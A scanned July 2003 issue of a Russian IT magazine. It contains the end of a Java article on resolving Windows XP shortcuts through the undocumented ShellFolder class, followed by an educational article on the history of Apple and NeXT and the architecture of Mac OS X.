Путешествие по файловой системе: недокументированный класс sun.awt.shell.ShellFolder Как оказывается, даже с помощью класса FileSystemView нельзя написать программу, адекватно работающую с файловыми системами современной Windows XP. В этой версии Windows большое значение имеют «ссылки» (links) или «ярлыки». В ранних версиях Windows это были файлы с расширением «.lnk», сейчас к ним добавились специально организованные подкаталоги. С точки зрения пользователя «ярлык», ссылающийся на некоторый каталог, должен вести себя подобно этому каталогу. Щелчок по «ярлыку» (например, в диалоге выбора файла) должен открывать этот каталог. Доступ к локальной сети из основной файловой иерархии в Windows XP организован именно через «ярлыки»: компьютеры пользователей-«соседей» («My Network Places») представлены маленькими виртуальными подкаталогами-«ярлыками» в локальном дисковом каталоге текущего пользователя. (Эти подкаталоги физически находятся внутри скрытого подкаталога NetHood, лежащего в главном каталоге пользователя.) К сожалению, в текущей версии Java не предусмотрено никаких документированных средств для работы с «яр-

№7(8), июль 2003

лыками». С точки зрения стандартных библиотек Java файл с расширением «.lnk» – это просто некоторый двоичный файл с недокументированным строением, а подкаталог«ярлык» из «My Network Places», ссылающийся на другой компьютер – это самый обычный подкаталог с двумя служебными файлами. В результате дерево файловой системы, построенное с помощью документированных библиотек Java в Windows XP, оказывается принципиально неполным – содержимое компьютеров локальной сети туда не попадает. Это особенно заметно при использовании стандартного диалога выбора файла JFileChooser – компьютеры из «My Network Places» там видны, но попытка зайти на них заканчивается, мягко говоря, странно. К счастью, фирма Sun уже реализовала механизм обработки файлов-«ссылок» Microsoft Windows, хотя пока не документировала его. Это уже упоминавшийся выше класс sun.awt.shell.ShellFolder. Помимо прочих методов, имеющих документированные эквиваленты в классе FileSystemView, класс ShellFolder содержит следующие два метода: public abstract boolean isLink(); public abstract ShellFolder getLinkLocation() throws FileNotFoundException

Вот как можно ими пользоваться: public static boolean isLink(File f) { try { return sun.awt.shell.ShellFolder .getShellFolder(f).isLink(); } catch (FileNotFoundException e) { return false; } } public static File getLinkLocation(File f) throws FileNotFoundException { File result= sun.awt.shell.ShellFolder .getShellFolder(f).getLinkLocation(); if (result==null || result.getPath().trim().length()==0) throw new FileNotFoundException( "Incorrect link - it is empty"); return result; }

Надо надеяться, что скоро эти методы станут документированными или, что более вероятно, получат документированные эквиваленты в классе FileSystemView. Вероятно, что одновременно компания Sun исправит диалог выбора файла JFileChooser, с тем чтобы он начал корректно работать с локальной сетью Windows XP. Пока что можно при желании «исправить» поведение JFileChooser для локальной сети и других ярлыков XP самостоятельно. Простейший способ это сделать – реализовать собственного наследника JFileChooser и перекрыть в нем методы isTraversable, setCurrentDirectory, getCurrentDirectory. Приблизительно это выглядит так (здесь isLink и getLinkLocation – приведенные выше методы): public boolean isTraversable(File f) { if (super.isTraversable(f)) return true; if (f!=null && isLink(f)) { try { return super.isTraversable( getLinkLocation(f)); } catch (FileNotFoundException e) { } }

65


программирование return false; } public void setCurrentDirectory(File f) { if (f!=null && isLink(f)) { try { super.setCurrentDirectory( getLinkLocation(f)); } catch (FileNotFoundException e) { } } super.setCurrentDirectory(f); } public File getCurrentDirectory() { File dir= super.getCurrentDirectory(); if (dir!=null && isLink(dir)) { try { return getLinkLocation(dir); } catch (FileNotFoundException e) { } } return dir; }

Даже прибегая к недокументированным функциям, на Java нельзя реализовать многие операции с файлами, имеющиеся в современных операционных системах. Например, из Java нельзя читать и управлять правами дос-

66

тупа файловой системы NTFS. Остались «за бортом» многие понятия Windows, такие как каталоги «My Pictures» или «My Music». Если все-таки подобные возможности необходимы, то, к сожалению, единственный выход – реализовывать недостающие функции самостоятельно в виде native-кода для всех операционных систем, под которыми предполагается эксплуатировать программу.

Заключение Мы рассмотрели ряд основных задач, возникающих при работе с файлами в Java, а также всевозможные нюансы и «подводные» камни, связанные с их решением. Я постарался приводить только тщательно протестированные и продуманные фрагменты кода. К сожалению, этот код был должным образом протестирован только под Windows. Не исключено, что файловые системы Unix или Macintosh могут добавить свои сюрпризы к уже описанным здесь. В любом случае, надеюсь, приведенная информация послужит хорошим дополнением к документации для всех, кто хочет достаточно полно и грамотно взаимодействовать с файловой системой из Java.



образование

MAC OS X

или ТО, ЧТО ДОЛЖЕН ЗНАТЬ КАЖДЫЙ ПРО MACINTOSH, APPLE И ОПЕРАЦИОННЫЕ СИСТЕМЫ АЛЕКСАНДР ПОТЕМКИН 68


образование Мое первое знакомство с Маком происходило заочно: по скриншотам, описаниям и восторженным крикам людей, которые хоть раз работали с ним. Вполне закономерным было желание познакомиться с этим компьютером, и чем быстрее, тем лучше. Итак, желание осуществилось – нас «познакомили», вот тут все и началось... Я расскажу историю развития компьютеров Apple (тем самым затронув создание первых персональных компьютеров) и самой фирмы Apple, а также расскажу про последнюю (на момент написания этих строк) версию операционной системы Mac OS X.

Появление первого персонального компьютера (небольшая историческая вводная) Первым персональным компьютером (в том смысле, что его можно было «взять с собой») следует считать компьютеры Altair. Однако первые Altair сложно назвать полноценными «компьютерами» – раз; компьютерами, «пригодными» для обычного пользователя – два. О полноценности: все, что из себя представляла эта техника, было обычной «коробкой» с большим количеством переключателей. Более того, собрать такую технику пользователю предлагалось самому, так что особенными пользовательскими качествами такая техника также не обладала. Небольшое лирическое отступление о развитии компьютеров в 1970-х годах: основными пользователями были компьютерные профессионалы – хакеры. Их карьера в основном начиналась за большими компьютерами фирмы Dell либо IBM (последние популярностью не пользовались). Компьютерное время было весьма дорогим, а тяга к компьютерам – очень высока. Так стали появляться первые компьютеры, собранные «для себя». Одним из таких компьютеров, пущенных в «промышленное» производство, были компьютеры Altair фирмы MITS. Сразу же после организации этой фирмы она была завалена заказами на год вперед. Люди платили деньги за возможность получить пакет с микросхемами и схемой сбора всех деталей в один блок. Количество людей, желающих владеть таким «компьютером», неуклонно росло, что увеличивало общий уровень технического образования, а значит, и количество людей, приобщающихся к хакерству. Такие «коробки» пользовались спросом, однако всегда есть люди, которые хотят сделать что-то свое, сделать лучше. Одним из таких людей был Стив Возняк. Он регулярно посещал собрания хакеров и в конечном итоге решил создать компьютер для собственного удовольствия. Процессором компьютера стал чип 6502 от MOS Technology (основным критерием при выборе этого чипа была цена), микросхемы, способные работать с этим процессором, ему подарил Дэн Сокол на одном из собраний клуба. Через некоторое время Возняк собрал свой компьютер так, что все уместилось на одну плату (что было достаточно красивым решением). Кроме того, ему пришлось написать свой Basic, так как единственной на тот момент

№7(8), июль 2003

версией была так называемая Tiny Basic, что совсем не подходило Возняку – ему нужна была полноценная версия. Без интерпретатора языка программирования компьютер не представлял бы из себя особенного интереса. Друг Возняка Стив Джобс был вдохновлен этой платой и потому решил, что они просто обязаны выпускать свой компьютер так же, как это делали и другие фирмы. Так было положено начало легендарному компьютеру Apple II, презентация работы которого никого не могла оставить равнодушным к такой технике.

Компания Apple Inc. Джобсу удалось заполучить в команду менеджера по имени Майк Марккула, который раньше занимался организацией продаж и добился на этом поприще больших успехов. С тех пор как он уволился из Intel, Марккула занимался различными бизнес-проектами. Джобс попросил его написать бизнес-план для Apple и Марккула включился в работу: с его помощью компании удалось привлечь капитал для инвестиций, переманить Майка Скотта – одного из менеджеров из Fairchild Semiconductor, которому был предложен пост президента фирмы. Кроме того, Марккула также расписывался на документах в качестве первого председателя совета директоров. Следующим привлеченным в компанию человеком был Джон Скалли – президент отделения Pepsi-Cola, крупнейшего в составе PepsiCo. У Скалли не было специального технического образования, однако он давно был поклонником передовых технологий и, кроме того, был очарован Джобсом. Фраза Джобса, обращенная к Скалли: «У вас никогда не возникало желания изменить мир? Или вы намерены провести остаток жизни, продолжая торговать подслащенной водой?» положила начало весьма тесным отношениям между ними, которым в дальнейшем, увы, будет суждено распасться. Джон Скалли становится президентом компании в апреле 1983 года. К началу 1980 года годовой оборот фирмы превысил 10 миллионов долларов.

Первые проблемы После Apple II у компании начались первые неприятности. 19 мая 1980 г. был презентован новый компьютер – Apple III. Технически эта машина была более совершенна, однако именно с нее и начинается череда неудач: после серии задержек продукт был выпущен на рынок в недоработанном виде, в результате чего так и не был «признан» пользователями. Одной из основных причин подобных проблем была следующая: это был первый компьютер, который собирался в условиях «фирмы» командой инженеров, которыми руководил Джобс. В 1983 году выходит компьютер Lisa, использующий все преимущества графического интерфейса (разработанного в Xerox) и оснащенный 1Mb оперативной памяти, Motorolla 68000 CPU (32 bit, 5Mhz), 2 приводами для дискет, жестким диском на 5Mb. Марккула отстранил Стива (Джобса, Возняк сам ото-

69


образование

шел от дел после серьезной авиакатастрофы в 1981 году) от работы над этим компьютером, в результате чего вся энергия Джобса была брошена на компьютер Macintosh. Компьютеры Lisa станут популярными с выходом «Lisa 2» и значительным снижением цены ($3495 против $9995), однако после назначения на должность руководителя проектами Lisa и Macintosh Стив позаботится о закрытии первого проекта. Джобс активно продвигал свое детище, в результате чего Macintosh стал гораздо более популярным, нежели Lisa. Тому способствовала и грамотная маркетинговая компания, и, что самое главное, сам неутомимый Джобс. При разработке этого компьютера была сделана одна серьезная ошибка – по цене в более $2500 его нельзя было назвать дешевым компьютером, и в то же время его техническое оснащение (в частности, отсутствие жесткого диска, невозможность присоединения внешних устройств, наличие небольшого количества программ) не позволяло рассматривать этот компьютер как серьезную технику.

NeXT Inc. «К 1985 году объемы продаж Apple достигли $2 млрд впервые за непродолжительную историю компании нача-

70

ли сокращаться, в то время как рыночная доля персональных компьютеров IBM и совместимых с ней моделей все увеличивалась. Apple попала в непростую ситуацию, требующую немедленного вмешательства старших. …Apple было крайне необходимо сократить цикл разработки новых моделей, большую часть которого составляли задержки, вызванные неудержимым стремлением Джобса к совершенству. Кроме того, Джобс все чаще стал вмешиваться в деятельность других подразделений компании, уже не довольствуясь властью только над отделением компьютеров Macintosh. Менеджеры всех подразделений завалили Скалли жалобами, суть которых сводилась к одному: либо над Джобсом будет быстро установлен контроль, либо все судно пойдет ко дну. …Наконец, после долгих и мучительных колебаний, Скалли принял решение лишить своего друга и учителя реального влияния над деятельностью компании, удалив его на символическую должность председателя совета директоров Apple. Столь принципиальное изменение баланса сил внутри компании требовало одобрения Майка Марккула и совета директоров Apple. Незадолго до начала заседания совета директоров 10 апреля 1985 года Скалли отозвал Джобса в сторону и рассказал ему о своих планах. Джобс отреагировал


образование словно ребенок, которого отправляют в чужую семью на воспитание против его воли. …Наконец, после бесконечного обсуждения, начавшегося ранним вечером и завершившегося почти сутки спустя, совет директоров Apple принял единогласное решение отправить Джобса в почетную отставку…» (1) Итак, Стив Джобс «ушел». Впрочем, история его деятельности на этом не заканчивается – он основывает новую фирму, сыгравшую большую роль в развитии операционных систем, а впоследствии и самой компании Apple, так что вкратце о стремительном развитии компании NeXT.

Создание компании Джобс с помощью семи сооснователей, покинувших Apple вместе с ним, в 1985 году создает компанию NeXT Inc. (позже преобразованную в NeXT Computer Inc.) с уставным фондом в 7 миллионов долларов. Стив Джобс посещает большинство американских университетов в поисках интересных технологий, так, в Университете Карнеги Милона он знакомится с Avie Tevanian, работающим над ядром Mach. Adobe и NeXT начинают совместную разработку Display PostScript, базу будущей системы NeXTSTEP. В 1987 году NeXT создает завод, способный выпускать 150’000 компьютеров в год (всего NeXT за всю свою историю собрала 50’000 компьютеров). 12 октября 1988 Стив Джобс организовывает шоу в Сан-Франциско, демонстрирует все возможности новой элегантной машины NeXTcube (с магнитооптическим диском на 256Mb, 68030 процессором, без жесткого диска и привода для дискет) и системы NeXTSTEP (версии 0.8). 18 сентября 1990 Стив Джобс устраивает новое шоу в Сан-Франциско для презентации новой машины и новой системы NeXTSTEP 2.0. Эта дата считается датой официального выхода компьютера NeXT. Tim Berners-Lee, работающий в CERN, разрабатывает первый веб-клиент (браузер) для NeXTSTEP. 25 апреля 1991 Стив Джобс организовывает шоу в CNIT в Париже, приуроченное к официальному выходу компьютеров NeXT во Франции. Были произведены многочисленные демонстрации машин NeXT и NeXTSTEP2. В частности, Джобс показал таблицы Lotus 1-2-3, работающие через эмулятор SoftPC, после чего, заметив, что можно сделать и лучше, продемонстрировал революционную программу для работы с таблицами – Improv. Также была продемонстрирована работа графической подсистемы. Вышедшая 25 мая 1993 года на NeXTWORLD Expo, операционная система NeXTSTEP 3.1 была первой версией NeXTSTEP, работающей на машинах, отличных от NeXT, – на PC 486. Версия NeXTSTEP 3.1 для PC называлась NEXTSTEP 486. 23 ноября 1993 года Sunsoft объявляет о лицензировании части кода NeXTSTEP для будущего использования в операционной системе Solaris. NeXT, в свою очередь, анонсирует порт NeXTSTEP на компьютеры на платформе SUN – SPARC. Сразу же после этого соглашения SUN инвестирует

№7(8), июль 2003

10 миллионов долларов в NeXT. В 1994 году NeXT публикует спецификации программного обеспечения, названные OpenStep, базирующиеся на системе NeXTSTEP 3.2. Инициатива получает поддержку в лице GNU – начато развитие GNUstep. В апреле 1995 года NeXT выкупает все права на Object-C у Stepstone. В это же время выходит PDO (PDO – Portable Distributed Objects – система для распределенных вычислений) и NetInfo – программа, шедшая стандартно с NeXTSTEP. В июне 1995 NeXT выпускает NeXTSTEP 3.3J и EOF 1.1J – японские версии программного обеспечения. 20 декабря 1996 года Apple выкупает NeXT за 400 миллионов долларов. Впрочем, некоторые утверждают обратное. Загадочная картина на официальном сайте предшествовала анонсу. В любом случае, это уже другая история, которая начинается 24 марта 2001 года с выходом Mac OS X.

Возвращение основателя 20 декабря 1996 года Стив Джобс возвращается в родную компанию, что последней идет только на пользу. Стив продолжает политику оригинального дизайна корпуса машины (машины NeXT были «упакованы» в весьма стильный черный корпус) и доводит ее до логического завершения: с момента своего зарождения «Маки» по праву считались самыми простыми и понятными в использовании. Политика Стива Джобса основывается на том, что компьютер не должен более восприниматься как нечто сложное, скорее, как еще одна часть интерьера, бытовой техники. Именно этим обуславливается исключительный дизайн корпусов последних компьютеров (самый яркий пример – iMac) от Apple, а также серия программ, начинающихся с буквы «i» (iTunes, iMovie, iDVD, iPhoto) – идеология простых программ. Apple видит компьютер как простое, но в то же время весьма мощное средство для выполнения любых задач любыми пользователями.

Macintosh: каков создатель, таков и компьютер... Маки – творение фирмы Apple под четким руководством Стива Джобса – человека, благодаря бешеной энергии которого и была создана эта «яблочная фирма». Краткой характеристикой Джобса может служить такое описание: самоуверенный, немного эгоистичный и, несомненно, талантливый харизматичный лидер. Однако создателем первого Мака был друг Джобса – Стив Возняк, талантливый хакер (в изначальном значении этого слова) по натуре достаточно спокойный, оригинальный и веселый человек. Пожалуй, именно эти качества можно найти в Маках до сих пор. Каждая машина по-своему оригинальна, имеет свои достоинства и недостатки. Кроме того, основным преимуществом фирма Apple может считать по праву тот факт, что можно взять любого человека с улицы, посадить его за Макинтош и через 1520 минут он уже сможет выполнять большинство необходимых функций. Однако это уже операционная система, а о ней разговор отдельный.

71


образование

Операционные системы от Apple Mac OS 9 (Classic) На Маках от рождения могут «бегать» две операционные системы – Mac OS X и Mac OS 9 – это родное. Впрочем, последнее творение Apple упорно пытается вытеснить с рынка своей более новой системой («десяткой»). Приживить на Мак можно любую систему, работающую на процессорах PowerPC, а это как минимум Linux, OpenBSD, NetBSD, QNX, однако в родной системе, помоему, есть своя прелесть и менять ее особого смысла я не вижу. Итак, в арсенале компании Apple существует две операционные системы: Mac OS 9 и Mac OS X. Первая из них сейчас именуется классикой, точнее, это более ранняя система, не использующая таких прелестей жизни, как защита памяти и вытесняющая многозадачность. В одном из описаний этой системы я встретил хорошую аналогию: Mac OS 9 предполагает, что все программы дружески относятся друг к другу и к пользователю, и, кроме того, грамотно написаны. Если кто-то «заявляет», что ему и только ему нужны все ресурсы процессора, причем прямо здесь и сейчас, то система предоставит эти ресурсы. В свое время святой обязанностью программы является «отдать» все позаимствованное, как только это более не будет нужно, и не «лезть» не в свою

72

область памяти. Такой подход может показаться комуто странным, однако он работал более 10 лет, и до сих пор большинство «макузеров» (от англ. – macintosh user) не собираются покидать свою любимую систему, обосновывая свое решение просто и лаконично: «Нам и здесь неплохо». Впрочем, их можно понять: «девятка» очень простая и гибкая система в отличие от «десятки», в основе которой лежит Unix. Этот факт мало кому нравится из всех ветеранов Мака, зато очень привлекает пользователей Unix-систем... Mac OS X Итак, «десятка». Мое знакомство началось с Mac OS 9.2.2, и эта система своим устройством успела достаточно сильно меня расстроить, и, возможно, не писал бы я этих строк (с некоторым агитационным оттенком), если бы не попалось бы на мои глаза новое творение «яблочников» – Mac OS X (10.2, известная также как Jaguar). Тут уже есть о чем рассказать.

Устройство системы Mac OS X «Десятка» – достаточно оригинальная система. Системную архитектуру у Mac OS X проще всего представить в виде многослойного пирога. На первом уровне находится микроядро Mach, над ним находится Darwin, далее Core Services, Application Services. Над ними еще два уровня:


образование

Carbon и Cocoa. На самом верху – собственно программы. Итак, рассмотрим каждый из этих подуровней отдельно. Микроядро Mach Микроядро отвечает за следующие задачи: управление виртуальной памятью (virtual memory); взаимодействие процессов (IPC); поддержка ввода/вывода (I/O) и прерываний; поддержка взаимодействия аппаратного и программного обеспечения; управление заданиями и потоками (Tasks & Threads). Подобный подход предоставляет достаточно четкую, понятную и легко портируемую структуру операционной системы. Модульность системы реализуется через «клиент-серверную» модель – единственным процессом, работающим в защищенном режиме процессора, является микроядро – первоочередная задача заключается в том, чтобы переместить максимальное количество кода на пользовательский уровень. После загрузки микроядро предоставляет все необходимые сервисы для работы серверов, одним из которых является Darwin. Darwin Darwin – это то, что дополняет микроядро до полноценной системы. Возможно, наиболее понятным (хотя и не-

№7(8), июль 2003

сколько грубым) определением будет следующее: Mach – это ядро, системный уровень; Darwin – это оболочка для пользователя со всеми его приложениями. Такая структура устройства системы пошла с 4.4BSD Lite – первой свободно-распространяемой в исходных кодах *nix-системой, очищенной от кода AT&T – первоначально, Unix был детищем этой компании, и вышел из ее исследовательских лабораторий; вначале коммуникационный гигант смотрел на распространение этой системы сквозь пальцы, однако затем, как только была осознана возможная экономическая выгода, все, использующие код, написанный в AT&T, были вынуждены убрать его под угрозой судебного преследования. Core Services, Application Services На этом уровне расположены общие для всей системы компоненты, такие как Core Foundation, Carbon Core, Apple Events... (уровень Core Services) и Quartz, QuickDraw... (уровень Application Services). Рассказ о каждом из них выходит за рамки задачи общего рассмотрения системы, но общее у них одно – все они являются базой для всех приложений системы, да и для системы в частности. Carbon, Cocoa Это тоже весьма интересная технология, достойная особого внимания.

73


образование Mac OS X – это «следующий шаг» после Mac OS 9 (Classic), но в то же время это логическое продолжение развитие NeXT (и спецификаций OpenStep). Посему желательно, чтобы приложения каждой из вышеупомянутых систем могли быть портированы на новое творение «яблочной компании» без особых затруднений. Выход был найден достаточно оригинальный – новая система поддерживает «классические» приложения через среду Carbon, а «новые» (на самом деле – Next-овские) через среду Cocoa. Для того чтобы приложение заработало в новой системе, для приложений NeXT достаточно просто произвести перекомпиляцию, в то время как приложения из классики будут требовать некоторых доработок. По заявлениям Apple, «карбонизация» есть лишь временное решение – возможность быстрого портирования приложений на новую систему (в противном случае «десятка» бы просто лишилась бы своих основных приложений, начиная от графики и заканчивая MS Office). «Карбонизированные» приложения не являются сколь либо ущербными – грамотно портированные приложения мало чем уступают своим новым собратьям (например, одно из основных приложений графического взаимодействия системы с пользователем – Finder – написано с использованием именно этой среды), однако же данная среда не поддерживает всех возможностей системы, предоставляемых в полном объеме через вызовы Cocoa. Существует мнение, что Carbon останется в системе как стандарт на гораздо больший срок, чем это предполагает сама Apple – слишком велико количество «старых» приложений, и немногие фирмы решатся переписывать их с нуля с использованием новых возможностей, которые могут быть не всем нужны, тем более что в большинстве случаев это повлечет за собой огромные финансовые расходы.

компьютера запрещены. Затем ядро запускает только один процесс – init. Третий этап – работа процесса init (от англ. – «initialization») – заключается в последовательном исполнении команд, записанных в файлах конфигурации (директории /etc). Первым делом обычно проверяется отсутствие ошибок на диске, затем устанавливаются переменные среды (такие как пути для поиска исполняемых программ, системная языковая кодировка, тип терминала и другие). Потом запускаются системные «демоны» – программы, исполняющиеся на заднем плане (background) и ожидающие определенного события, например, веб-сервер ожидает поступления подключения на 80 порт, после чего обслуживает поступающие команды. Напоследок для пользователя готовят терминал, и запускается программа «login», предлагающая ввести логин и пароль для начала работы. Это был стандартный вариант запуска системы. Существуют и другие варианты: среди основных – так называемый single-mode и графический. Первый используется для возращения системы к жизни, если что-то произошло. В таком случае доступ разрешен только локальный, при старте осуществляется минимальное количество действий (обычно это монтирование диска в режиме только для чтения, инициализация одного терминала). Второй, графический, уже своего рода добавка: после основного запуска вместо или вместе с инициализацией текстового терминала также запускается «нечто графическое». В случае стандартной *nix-системы «нечто графическое» – это «X server», в случае Мака – «WindowServer». С этого момента большинство пользователей попадают в родную для них графическую среду.

Системная архитектура Mac OS X

*nix-системы всегда отличались гибкостью, они создавались и разрабатывались как многозадачные, многопользовательские, сетевые ОС. Нормальным взаимодействием с компьютером во время создания этой системы считалась работа за текстовым терминалом, тем или иным образом соединенным с главным компьютером. Чуть позже компьютеры начали персонализироваться, а количество пользователей увеличиваться. Причем далеко не всем нравился текстовый режим, впрочем, как и командная строка. Через некоторое время и не без помощи фирмы Apple (а также компании Xerox) пользователи узнали, что интерфейс компьютера может быть еще и графическим, то вбивать команды хотелось все меньшему и меньшему количеству людей. Спрос рождает предложение, и многие платформы и операционные системы стали добавлять возможность работы в графической среде, и *nix не остался в стороне – был реализован проект графического сервера, который запускается на одной машине (сервере), и обрабатывает подключения к нему на определенном порте (клиентов). Время шло, и компьютер стал все чаще использоваться одним человеком, и идея «раздачи» ресурсов для других

Системная архитектура Mac OS X, впрочем, как и NextStep/ OpenStep, основана на операционной системе Unix. Для лучшего понимания работы этой системы рассмотрим более подробно схему работы *nix-системы от загрузки до «приглашения к работе» (графического либо текстового). Загрузка системы может быть разбита на 3 этапа. Первый начинается сразу после того, как программное обеспечение, прошитое в компьютере (то, что называется BIOS на x86 платформе, Firmware на PowerPC и некоторых других) передает управление программе, записанной на винчестере (или CD/DVD-диске). Здесь в дело вступает загрузчик. Его задача относительно проста – загрузить ядро в память и передать ему управление. Возможно, предварительно осведомившись у пользователя, не хочет ли он задать какие-либо дополнительные параметры для загрузки ядра, либо указать, что грузить необходимо другой образ. Второй этап – загрузка ядра. Основной его задачей является определение доступного оборудования и его инициализация. В дальнейшем ядро будет ответственно за работу всех программ – вызовы напрямую к железу

74

Идеи, заложенные в Mac OS X


образование

машин становилась все менее актуальной, и сервер уже обрабатывал подключения с той же машины, на которой был запущен и сам. Кроме того, архитектура работы с графикой была «многослойна». После запуска X server запускалось приложение, позволяющее пользователю взаимодействовать с компьютером – Window manager (оконный менеджер) в терминологии *nix. Оконный менеджер, в свою очередь, мог запускать дополнительные программы (например, приложения, отвечающие за рабочий стол, за панель снизу экрана и другие мелкие приложения, апплеты). Завершение работы оконного менеджера означает выход из X server. Такая многослойность вполне в духе *nix-системы, где множество приложений хорошо выполняют свою работу, а их соединение позволяет получить один хороший результат. Однако обратной стороной подобной гибкости является значительная фрагментация системы (что, как показывает практика, может быть хорошо для системы в целом, но не для графического интерфейса), а также потеря производительности. Именно эти факторы и мешают продвижению *nix-системы: отсутствие единой стандартной графической библиотеки для разработчиков (присутствующей в каждом дистрибутиве и не меняющейся от версии к версии);

№7(8), июль 2003

единого графического интерфейса (выбор – это хорошо, но наличие стандарта необходимо);

его продуманности (сейчас зачастую интерфейсы либо

копируют коммерческие реализации, такие как Microsoft, Apple, Motif, либо не очень ясны для обычных пользователей); грамотной реализации (качество кода, стабильность работы).

Apple решила выбрать в качестве своей базовой платформы *nix, расширить его под себя и переделать всю графическую систему. Так, одним из нововведений является формат сохранения данных конфигурации – теперь все настройки хранятся в файлах формата XML, более трудного для ручного редактирования, однако родного для «программного» хранения данных; кому приходилось редактировать файлы конфигурации после того, как по ним прошелся автоматический, дружественный к пользователю графический конфигуратор на *nix-платформе, поймет о чем я, для остальных поясню: в результате подобных конфигураций оказывается сбита вся логика построения файла, в ней нередко остается немало мусора, и далеко не все параметры могут быть выставлены корректно. Кроме того, фирма не может терять наработки прошлых лет, в виде большого количества программного

75


образование

обеспечения, написанного для «классики» (Mac OS до 9 версии включительно) и чуть меньшего для NextStep/OpenStep. Для этого в новой системе поддерживается два вида библиотек – Carbon и Cocoa. Первая из них – для совместимости с «классикой», вторая объявлена новой и приоритетной. Для того чтобы старое (для «классики» или удовлетворяющее спецификациями OPENSTEP) программное обеспечение заработало в новой системе, необходимо произвести перекомпиляцию с незначительными изменениями (либо и вовсе без них). Кроме того, в качестве еще одной рабочей среды объявлена среда Java – виртуальная машина на Mac OS X считается лучшей реализацией среди прочих, и достаточно тесно интегрирована с системой. Не следует забывать и про слой BSD, и X server, который компания скоро уже должна выпустить в окончательной версии (на данный момент доступна только beta-версия). Также не была упомянута возможность запуска «классических» приложений, не портированных на новую систему. Так что получается, что сейчас, прямо «из коробки» система способна запускать приложения для «классики», приложения OPENSTEP, Java и огромное количество *nix-приложений (для чего создан отдельный проект переноса так называемых портов с FreeBSD на Darwin, позволяющих установить приложение двумя ко-

76

мандами “cd” и “make install”) как графических, так и работающих из командной строки. Дополняя картину, нельзя не упомянуть продукт под названием Virtual PC – эмулятор x86 компьютера на Mac OS (последняя 6 версия эмулирует Pentium II MMX, тактовая частота зависит от мощности самого Мака). Таким образом, компании удалось сохранить старых разработчиков, а также привлечь новых, среди которых и такие ценные «outsource-кадры», как *nix-хакеры и просто пользователи по всему миру, не требующие оплаты, однако же привносящие весьма ощутимый вклад в развитие системы.

Mac OS X в работе Desktop Что нужно от жизни обычному пользователю? Простота настройки, наличие офиса, приложений для работы в Интернете, работа с родным (в нашем случае – русским) языком. Офисных пакета как минимум два: Microsoft Office (стабильно работающим не замечен) и Open Office. И тот и другой обеспечивают совместимость с документами, созданными на «обычных» компьютерах. Причем Office от Microsoft снабжен даже большим количеством «фич», чем его собрат для Windows.


образование Приложения для работы в Интернете Здесь выбор весьма велик, а имена производителей достаточно известны, посему просто приведу название приложения и имя производителя: Браузеры: Internet Explorer (Microsoft), Safari (Apple), Mozilla (Open Source), Opera (Opera Software) и многие другие. ICQ: ICQ (ICQ Inc.), Fire.app (Open Source), Proteus. E-mail: Outlook Express (Microsoft), Entourage (Microsoft), Mail (Apple). Локализация Системной кодировкой является Unicode, так что все грамотно написанные приложения не испытывают никаких затруднений при работе с любым языком (систему можно в любой момент заставить «говорить» как на китайском, так и на украинском; то же относится к любому приложению, если его разработчик озаботился многоязыковой поддержкой). Кроме того, перекодировка текста предусмотрена на уровне системных вызовов.

Mac OS X Server) в графической версии его настройки имеет два варианта работы с трафиком: allow/deny. И в том случае, если администратор решит настроить NAT (masquerading в терминах других систем), то правила брандмауэра (стандартного ipfw, кстати) придется прописывать напрямую в конфигурационных файлах, что требует достаточно плотного знакомства с устройством системы. В общем, можно сказать, что сервер под управлением Mac OS X Server имеет смысл ставить туда, где необходима простота администрирования, возможно, в некоторых случаях в ущерб гибкости. С другими системами такой сервер будет жить очень даже недурно (с системой идет samba, nfs, ssh, ftpd и ранее упоминаемый apache), а его обновление производится не более чем 6 нажатиями мышки (и не вызывает таких печальных последствий, как автоматическое обновление на другой популярной платформе известного производителя ПО), и кроме того, наличие обновлений может проверяться каждый день/неделю/месяц, и пользователю будет предложено установить имеющиеся обновления.

Server

Developer station

Требования системного администратора обычно несколько другие, а именно – не позволять пользователям делать того, что им не нужно, и иметь возможность настроить все необходимые параметры под конкретную задачу, а также поддержка системы up-to-date. Системе известно такое понятие, как пользователь «root», здесь он также царь и бог и при желании может делать с системой все что угодно (особенно из командной строки). Настройка системы здесь производится несколько проще, чем в обычном *nix – для этого существуют графические программы. Однако в отличие от обычного *nix, где все графическое обычно вызывает горестную ухмылку Unix-гуру, здесь все продумано. Во-первых, Apple не зря начала создание своей Unixсистемы, наслоив на классическую архитектуру свои настройки. До момента чтения и исполнения /etc/rc*-файлов здесь все идет как обычно, однако затем из этих же файлов происходит вызов скриптов от «яблочной компании». Т.е. фактически происходит так: грузится Mach, грузится init, который затем, как это и положено, отвечает за все процессы в системе, однако запускает большинство этих процессов SystemStarter, который читает и запускает другие файлы (из директории /System/Library/StartupItems). Так вот формат файлов конфигурации для всякого приложения в Mac OS X – это XML. Данный формат файлов чуть хуже читабелен для человека, зато легко читабелен для приложений, кроме того, запись конфигурации в итоге не генерирует «мусор», который обычно всегда можно найти в обычных файлах конфигурации. Однако отсюда минус: то, что нельзя настроить графически, необходимо делать «руками». Нет, дело не в том, что это сложно сделать (командный интерпретатор tcsh и редактор vi никто не отменял), а в том, что все изменения, внесенные непредусмотренным системой образом, могут быть впоследствии переписаны обновлением системы. Кроме того, брандмауэр (в серверной версии системы

Разработчик – человек, которому нужно немного и от системного администратора, и от обычного пользователя, но в первую очередь необходима удобная система разработки (IDE), полная документация и, возможно, примеры реализации. Это все можно найти в системе. Project Builder позволяет создавать приложения AppleScript (язык автоматизации действий с программами), приложения Carbon, Cocoa, Java и C++. Документация достаточно полно описывает все принципы работы системы и снабжена примерами реализации приложения (и/или драйвера). Кроме того, не стоит забывать про открытый исходный код Darwin и другие наработоки Apple (более подробную информацию можно найти здесь: http://developer.apple.com/darwin/projects/). Не могу также пропустить и такое приложение, как Virtual PC, – приложение, позволяющее запускать любую x86 операционную систему и эмулирующее Pentium II MMX, S3 Trio 32/64 (4/8/12MB), Sound Blaster, Intel 21041 Based Ethernet Adapter и выделяющее то количество жесткого диска и оперативной памяти, которое будет ему указано. Данное приложение можно отнести и к категории для разработчиков (тестирование своей программы под различные системы), и к категории системщика (количество одновременно работающих систем ограничено только системными ресурсами «хоста») и просто для обычного пользователя – «окошки» в «окошке» позволяют работать с приложениями, которые еще не портированы на Мак, или даже играть в игры (правда, не очень ресурсоемкие).

№7(8), июль 2003

При подготовке статьи были использованы материалы: 1. Джим Карлтон. Apple. Взгляд изнутри: история интриг, ошибок и эгоизма. Издательство «ЛОРИ», 2001. 2. Стивен Леви. Хакеры – герои компьютерной революции. ( www.cooler.it/hackers/) 3. История развития NeXT. (http://www.levenez.com/ NeXTSTEP).

77
